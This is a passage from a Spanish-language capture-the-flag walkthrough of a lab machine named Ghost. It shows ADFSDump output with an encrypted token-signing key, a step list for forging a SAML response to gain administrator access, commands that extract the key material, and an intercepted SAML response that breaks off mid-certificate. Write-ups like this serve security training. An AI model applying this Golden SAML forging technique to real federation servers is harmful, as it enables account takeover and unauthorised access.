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 [-] Encrypted Token Signing Key End [-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC [-] Store location value: CurrentUser [-] Store name value: My ## Reading The Issuer Identifier [-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust [-] Detected AD FS 2019 [-] Uncharted territory! This might not work... ## Reading Relying Party Trust Information from Database [-] core.ghost.htb ================== Enabled: True Sign-In Protocol: SAML 2.0 Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256 SamlResponseSignatureType: 1; Identifier: https://core.ghost.htb:8443 Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS"> <RequireFreshAuthentication>false</RequireFreshAuthentication> <IssuanceAuthorizationRules> <Rule> <Conditions> <Condition i:type="AlwaysCondition"> <Operator>IsPresent</Operator> </Condition> </Conditions> </Rule> </IssuanceAuthorizationRules> </PolicyMetadata> Access Policy Parameter: Issuance Rules: @RuleTemplate = "LdapClaims" @RuleName = "LdapClaims" c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"] => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value); |
Ya tenemos información de ADFS, así que con lo descubierto aquí y lo descubierto en las búsquedas acerca de este tipo de federación necesitaremos realizar los siguientes pasos
1. Conectar como guest
2. Preguntamos al ADFS por la autenticación
3. Este nos redireccionará para poder hacer el login
4. Devolverá la respuesta del saml con el certificado
5. Modificamos la respuesta de SAML para poder escalar privilegios
6. Acceso como admin al panel de federación
Así que en primer lugar vamos a exportar el certificado y la clave privada
|
1 |
$ echo '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' | base64 -d > EncryptedPfx.bin |
|
1 |
$ echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' | sed 's/-//g' | xxd -r -p > dkmkey.bin |
Conectamos al portal de federation con las credenciales de justin obtenidas anteriormente e interceptamos la respuesta con burp
Y decodificamos la respuesta, obteniendo el siguiente xml
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
<samlp:Response Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" Destination="https://core.ghost.htb:8443/adfs/saml/postResponse" ID="_32ac8ef1-c03e-448e-966b-5f0ee7ec1b74" InResponseTo="_147cc57aa6598ac3839da355eaf29e80d6a0c9b5" IssueInstant="2024-07-25T08:15:31.679Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">http://federation.ghost.htb/adfs/services/trust</Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <Assertion ID="_82873eca-5243-481a-939d-04e14a29a5fc" IssueInstant="2024-07-25T08:15:31.632Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> <Issuer>http://federation.ghost.htb/adfs/services/trust</Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_82873eca-5243-481a-939d-04e14a29a5fc"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>0xQA7ttldMgOTzOJwL0F70tiTnJLIogIOKZgeLOCUKE=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>iLfuU2tvJKS4U8a+Rw0/a4Z7s3w9ybU6qVVgauXeYkBAnRlMi/KWEM5pa32KgTIUgGTp2NoPkUP4yub8I2A4VUz5gzprj9d5mG7N1CEdWr3vOlf7VXvI476EEOQNhikqe4OuSCsvak2Lob21LXr9r/98DCMCjUvz7t599fAkrBgBAZ3+bCG+zWC75pw/0vYMIrSpiyf5MQIyNHn2E0mvBnKBRZooRh1e2OrslsThYaIoH4SlNYMHieHBkwiXmp0xX9ilcLNIcL1UPAcgX9vz4I2QIK6c9AYx9dq25cvFjwst1LmCns/Jk5bdy83N9yDl+8E0QYi8sDjE/fuK2KtX29sUct0RS6LTUVCmksRYJ0QSjZTpVAom3JlU/mvNqrQ3dD6dncYFphpYqP/C9vUzLull2ZzI+Sn+0REp6HHZWyKCLFsfj3TfuHsfoQuyYj4cfdF9CM+6GLcf0hRmAXKnRCoEX/DFVL7U6BPRd1IwG80qGlUp5aSCWkwi6IlpbvvBOzNvN9cqLqqpUUBURu2rbQFt4jYGzOlxXo4FKQekznNj/Gl1LbnlqafBwYxSUB+Vf9GJPRj+tp4JaJqyhcjMqqwGlWAMfYAdKQ2yp4o8KqT6BhlbPKwDzGcuFYAhD9atRii2tL6I+X0pn2d/NfXI+WFa/NhsJW69DZ7ABd+tplw=</ds:SignatureValue> <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#"> <ds:X509Data> <ds:X509Certificate>MIIE5jCCAs6gAwIBAgIQJFcWwMybRa5O4+WO5tWoGTANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDEyNBREZTIFNpZ25pbmcgLSBmZWRlcmF0aW9uLmdob3N0Lmh0YjAgFw0yNDA2MTgxNjE3MTBaGA8yMTA0MDUzMDE2MTcxMFowLjEsMCoGA1UEAxMjQURGUyBTaWduaW5nIC0gZmVkZXJhdGlvbi5naG9zdC5odGIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC+AAOIfEqtlYcn153L1BvGQgDyXTnYwTRzsK59+zE1zgGKO9N5nb8Fk+daKpWLQaiH7oDHaenw/QaxBg5qdeDYmD3oz8KyaA1ygYBrzm4wW7Ff87rK9Fe5J5/h6W9g749h5BIqPQOp0l6s1rfumOccN4ybW95EWNL0vuQXvC+KQ4D4gMXu8mCGpxtvIL8ilNtJuIG3ORYSKhRal0yyJeOhG4xglrZJF18p9whnE6omggmA6n2shDk/tvTYjii5e7/icWTKkrsMCpaKUNk7mxdMZhQab7SmfKrZN4pRD7dVg5zzIyD7UzS9CHLC6xNzq/Z0huaOaJhOSdJSgat/bsG8nbx19HD/+ypW9J2LtNFugdWtmUBWDOQBYVhB8Sg4VEGgP9jyItHH2bzsDfjRdJ8E1uNJWP/kQA1+wYlOddLqU3b0IsCvlA8EvYW0T1Rsu77o4x/w0gWb0oQPEIz7z973b496wqQt3DnyfeO3lXXfZNcvaj5KCP2TtGB+KshF9pkIPxq7F2gMh7QjxjRHsA29V8jFo9gLD7kPVicaIUdsgiFHnYQF14a52JtR1V5iN+h95JkuuEqQWDBHAvPEBBZkEZH+5yT+aCFXXX+BpPt3QGjYLeJU8CFsMtn8QVLYvLdcVRsUnRh/WHiXwJOOEVECa9w7/yVnhalCNBx1E/l4KQIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAWYKZW3cDCBO6dT3yfl3Ocuyp1LVKVI+9pFx/bbWpWjSdh6b39LTxxD7FYUthuWPZ3rF4G+FdMFHHCx3YpEmU